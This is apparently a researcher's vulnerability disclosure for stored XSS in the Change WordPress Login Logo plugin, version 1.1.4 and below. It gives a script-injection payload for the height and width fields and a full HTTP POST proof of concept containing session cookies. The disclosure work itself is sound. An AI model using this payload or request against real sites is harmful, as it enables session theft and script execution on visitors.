Multiple Stored XSS Vulnerabilities in Change WordPress Login Logo Plugin

The Change WordPress Login Logo Plugin version 1.1.4 and below were found to be vulnerable to multiple stored XSS vulnerabilities while I was auditing the plugin.

Summary

Change WordPress Login Logo Plugin is used to replace WordPress default logo in WordPress login page with a user supplied image. It was found to be vulnerable to multiple stored Cross-Site Scripting (XSS) vulnerabilities. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The height, and width fields used updating the custom logo was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the changes. It is triggered when a user loads the WordPress login page. All WordPress websites using Change WordPress Login Logo Plugin version 1.1.4 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the height or width fields.

100}</style><script>alert(0)</script>

This vulnerability can be exploited by attckers to steal session cookies or execute any malicious javascript when a user visits the page.

Proof of Concept

POST /w/wp-admin/options.php HTTP/1.1
Host: 95.217.19.38
Content-Length: 353
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://95.217.19.38
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://95.217.19.38/w/wp-admin/options-general.php?page=change-login-logo
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7Cb6923f10946ffce4a149ff702761391ed5ab2efed419261f5bd9d173281a1d95; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

option_page=change_login_options_group&action=update&_wpnonce=6d58248d5e&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dchange-login-logo&wp_logo_url=http%3A%2F%2F95.217.19.38%2Fw%2Fwp-content%2Fuploads%2F2020%2F08%2F75.jpg&wp_logo_height=100%7D%3C%2Fstyle%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E&wp_logo_width=100&submit=Save+Changes

Recommendation

All user inputs should be sanitized before usage.

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Melbin Mathew

I'm Melbin Mathew from Kerala, India. Infosec enthusiast, interested in Bug Hunting, Web App Pentesting and and Blogging. Love learning something new every day. Drop a mail to connect. LinkedIn | Github | Twitter Contact: melbin [-at-] melbin.in

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